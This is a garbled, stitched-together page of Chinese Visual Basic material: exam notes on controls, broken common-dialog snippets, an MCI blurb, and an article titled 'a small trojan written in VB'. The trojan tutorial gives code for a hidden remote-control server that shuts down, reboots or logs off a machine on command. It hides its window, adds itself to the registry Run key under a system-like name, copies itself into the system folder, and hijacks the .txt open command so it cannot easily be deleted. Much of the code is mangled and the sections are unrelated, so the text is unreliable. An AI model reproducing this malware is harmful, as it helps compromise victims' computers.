称图片框Picture属性的设置一样,在设计阶段可以从属性窗口中设置命令按钮的
Picture, DownPicture或DisabledPicture的属性,也可以通过LoadPicture函数装入图形。
命令按钮最常用的事件是单击(Click)事件,当单击一个命令按钮时,触发Click事件。
注意,命令按钮没有又击(DblClick)事件。
4.4 选择控件――复选框和单选按钮
考点7 复选框和单选按钮的属性和事件
以前介绍的大多数属性都可以用于复选框和单选按钮,包括Caption,Enabled,
FondBold, FontItalic,FontName,Fontsi z e,FontUnderline,Height, Left,Name,Top,
Visible,Width和命令按钮一样.对于复选框和单选按钮可以使Picture,DownPicture和
DisabledPicture属性。此外还可以使用Value属性,Alignment属性和Style属性。
4.5 选择控件——列表框和组合框
考点8 列表框
l属性
列表框所支持的标准属ri包括Endbled,FontBold,Fontltalic,FontName,
FontUnderline,Height,Left,Top,Visible, Width。此外, 列表框还具有以下特殊属性:
Columns, List, ListIndex, ListCout, MultSelect, Selected,SelCount,Sorted,Style,
Text。
2列表框事件
列表框接收Click和DhIClick事件,但有时编写Click事件过程代码,而是当单击一
个命令按钮或发生DblClick事件时,读取Text属性。
3列表框方法
列表框可以使用Additem,Clear和Removeltem等方法,用来在运行期间修改列表
框的内容。
考点9 组合框
组合框(ComboBox )是组合列表框和文本框的特性而成的控件。
1组合框属性
列表框的属性基本土可用于组合框,此外它还有自己的一些属性
(1) Style是组合框的一个重要属性,其值为0,1和2,它决定了组合框3种不同的
类型。
(2 ) Text属性是用户所选择的项目的文本或直接从编辑区输入的文本。
2组合框事件
组合框所响应的事件依赖于其Style属性。当用户单击组合框中向下的箭头时,将
触发DropDown事件,该事件实际上对应于向下箭头的单击(Click)事件。
3组合框方法
前面介绍的Addltem, Clear和Removeltem方法也适用于组合框,其用法与在列
表框中相同。
4.6 滚动条
滚动条通常用来附在窗口[帮助观察数据或确定位置,也可用来作为数据输入的工
具,被广泛地用于Windows应用程序中、滚动条分为两种,即水平滚动条和垂直滚动条。
考点10 滚动条属性
滚动条的属性用来标记滚动条的状态,除支持Enabled, Height, Left, Caption,
Top, Visible, Width等标准属性外,还具有以下属性:
1 Max
滚动条所能表示的最大值,取值范围为-32768 ~321767。
2 Min
滚动条所能表/J七的最小值,取值范围与Max相同。
3 LargeChange
单击滚动条中滚动框前面或后而的部位时,Value属性增加或减少的增量值。
4 SmallChange
单击滚动条两端的箭头时,Value属性增加或减少的增量值。
5 Value
该属性值表示滚动框在滚动条上的位置。
--------------------------------------------------------------------------------
其中第三行决定了在文件格式类型栏里出现的文件类型。第五行需要一个自己的
打开文件的过程,这个过程需要的参数就是通用对话框返回的文件名。通用对话框的
CancelError属性设为True的话,用户单击Cancel按钮将产生一个错误信息程序,凭借这个
信息程序可以检测到用户的放弃操作。
2.Color对话框
下面的过程可用用户选择的颜色作为窗体的底色。
Private Sub mnuColor_Click ()
On Error GoTo CancelButton
Error = True
lor
lor =
CancelButton:
Exit Sub
End Sub
3.Fonts对话框
下面的过程可用字体对话框改变文本框的字体:
Private Sub mnuFonts_Click ()
On Error GoTo CancelButton
Error = True
= cdlCFBoth ' Flags property must be set to cdlCFBoth
nt ' Display Font common dialog box.
me = me
ze = ze
ld = ld
alic = alic
derline = derline
rikethru = rikethru
lor =
CancelButton:
Exit Sub
End Sub
代码的第三行出现了通用对话框的Flags属性决定了通用对话框的一些可选项,不
过即使不赋值给Flags,代码也一样会按缺省的情况去执行的。
MIC
MCI全称是Media control interface即多媒体控制接口。说明白点就是程序与多媒
体解码器通讯的一个界面。可利用这个接口跳过硬件访问并调用本地的符合MCI规格的多
媒体解码驱动。完成对多媒体的回放录制与控制。从DX8之后MCI借助DirectShow和Direct
Media的强大支持成为了一个低技术难度,高性能,多功能的优秀多媒体接口,可支持MPEG
1/2/4视频文件、Quick Time视频文件、Windows Media Video视频文件和AVI视频文件等多
种Windows常见视频的回放;还可支持MPC音频、ADPCM音频、AIFF音频、MPEG
Layer1Layer2Layer3音频、Windows Media Audio音频等常见音频;另外MCI还嵌入了数
字音乐合成器控制、录音接口和基于DShow的摄像头接口。其趣味性、可靠性和易用性特
别适合初学API的编程爱好者
•站点首页 技术文章 源码下载 API函数手册 VBS脚本手册 站点导航 用户注册 用户登陆
论坛交流
设为主页
收藏本站
联系我们
| VB技术文章 |
站内搜索: 文章搜索 软件搜索 网站搜索 会员注册 | 会员登录
当前位置:中国VB网→文章首页→VB技术文章→实例制作→VB编写的一个小型木马
编写的一个小型木马
--------------------------------------------------------------------------------
作者:欠你一刀 来源于:中国VB网 发布时间:2009-10-29
首先,新建一工程,名为Server,新建一个窗体,Name为Server,在窗体中加入一个
winsock控件,Name设为sckServer,协议设为默认的TCP/IP协议。接下来我们回来Server
窗体模块中,添加如下代码:
Private Sub form_Load()
With Me
.ort = 951228'本地端口
. '开始监听
End With
End Sub
'接受客户端的连接请求。
Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)
With Me
If . <>sckClosed Then .
. (requestID)
End With
End Sub
下面我们来建立客户端程序:新建一个工程,名为Client,把窗体名为Client,在上面加入
一个winsock控件,名为sckClient,协议为TCP/IP协议。再加一个按钮cmdConnect在窗体
模块中加入代码:
Private Sub form_Load()
With Me
.Host = "127.0.0.1"'设置远程IP
.Port = 88917 '远程端口,就为server中的设置一样.
End With
End Sub
Private sub cmdConnect_Click()
t
End sub
至此,单击Connect按钮我们的两个工程已经可以进行通信了,但看不见,你可以在Client
中的sckClient_Connect事件中加入代码: “Connetion successful!”来查看。
这仅是第一步,一点工作也做不了,下面我们来为它们添加功能。为了简单,本文章只实现
一点小小的功能——关机,重启,注销。好,开始吧!
在Server工程中新建一个模块,Name为modApi,这个模快为一些API函数,添加如下API
函数:
Public Declare Function ExitWindowXXX Lib "user32" Alias "ExitWindowXXX" (ByVal uFlags As
Long, ByVal dwReserved As Long) As Long
Public Const EWX_LOGOFF = 0
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As
Long
Public Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
注:在两个socket中编程中,进行通信的重要事件是DataArrival事件,用于接收远程数据。
下面在Client工程的Client窗体中放入三个按钮,分别为cmdExit,cmdLogoff,cmdReboot。它
们用于对远程的关机,注销,重启操作。分别添加如下代码:
Private Sub cmdExit_Click()
ta "Exit"
End Sub
Private Sub cmdLogoff_Click()
ta "Logoff"
End Sub
Private Sub cmdReboot_Click()
ta "Reboot"
End Sub
全都是对服务端发出请求。下面转到Server工程中:在Server中添加sckServer的DataArrial
事件,接收客户端的请求。
Private Sub sckServer_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
With Me
' 接收客户请求的信息
.a strData
Select Case strData
Case "Exit"
'关机
Call ExitWindowXXX(EWX_SHUTDOWN, 0)
Case "Reboot"
'重启
Call ExitWindowXXX(EWX_REBOOT, 0)
Case "Logoff"
'注销
Call ExitWindowXXX(EWX_LOGOFF, 0)
End Select
End With
End Sub
好了,到此我们已经实现功能了,但还不行,我们要它在背后运行。这简单,在Server中的
form_Load事件中加入一句:。好这下看不见了,但大家知道木马是一开机就自动运
行了,这又是为什么,怎么实现的?把它加入到注册表的启动组中?对,不错,跟我来吧!
回到Server工程中的modApi中加入如下API函数:
Public Declare Function RegOpenKey Lib ""
Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As
Long
Public Declare Function RegSetvalueEx Lib "" Alias "RegSetvalueExA" (ByVal
hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long,
lpData As Any, ByVal cbData As Long) As Long
Public Declare Function RegCreateKey Lib "" Alias "RegCreateKeyA" (ByVal hKey
As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Const REG_BINARY = 3
Public Const REG_SZ = 1
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_CLASSES_ROOT = &H80000000
写到注册表启动组中的过程。
Public Sub StartupGroup()
Dim sKey As String
Dim result As Long
Dim hKeyID As Long
Dim sKeyVal As String
sKey = "Systrsy" '启动组中的键,找一个与系统文件相近的。
sKeyVal = "C:/windows/system/" '木马文件的路径,可以用GetSystemDirectory来取
得系统路径。
result = RegOpenKey(HKEY_LOCAL_MACHINE, _
"Software/Microsoft/Windows/CurrentVersion/Run", hKeyID)
If result = 0 Then
result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, Len(sKey) + 1)
End If
End Sub
好,就这样简单地完成了。但是,想过没有,如果不是很菜的鸟,到注册表中见一删,我们
苦苦的心血不就白白地浪费了吗?不行,还得想让他发现了删也删不掉。请看下面的代码:
Public Sub WriteToTxt()
Dim result As Long
Dim hKeyID As Long
Dim skey As String
Dim skeyVal As String
skey = "txtfile/shell/open/command"
skeyVal = "C:/windows/system/"
result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)
If result = 0 Then
result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, skeyVal, Len(skeyVal) + 1)
End If
End Sub
肯定不少朋友一看就知道了,原是与txt文件进行关联,一点也不错,但C:/windows/system/
是哪里来的,我们的木马是C:/windows/system/呀。这可是我们木马的
分身了。
好,回到Server工程的Server窗体的form_Load中,加入如下代码:
Dim sCurrentPath As String, sSystemDir As String
sCurrentPath = & "/" & e & ".exe"
sSystemDir = “C:/windows/system”
On Error Resume Next
'复制文件成系统目录下的
FileCopy sCurrentPath, sSystemDir & "/"
On Error Resume Next
复制文件成系统目录下的
FileCopy sCurrentPath, sSystemDir & "/"
调用
Call startupGroup
Call WriteToTxt
'判断程序是否下在运行
If stance Then
'如果已经运行就退出。
End
End If
注意:
大家在处理端口时最好使用高端端口,否则会和一些常用端口发生冲突。
--------------------------------------------------------------------------------
[本日:1 本周:1 本月:22 总浏览数:733 ] [返回上一页] [告诉好友] [发表评论] [打 印] [ 字
体:大 中 小 ]
上篇文章:全国等级考试二级VB考点分析之控制结构与数组(4)
下篇文章:利用ADO建立的连接
∷相关文章∷
· 用VB编写键盘拦截程序
· 用VB编写一个弹出菜单类
· 用VB编写定时关闭计算机的程序
· 用VB编写FLASH动画播放器
· 用VB编写异步多线程下载程序(可以改写成在线升级程序)
∷相关软件∷
中国VB网--全力打造中国专业VB站点!
赞助合作:邯郸教育网
Copyright © 2003-2015 . All Rights Reserved . 中国VB网版权所有
ICP证书编号:京ICP备09044116号


发布评论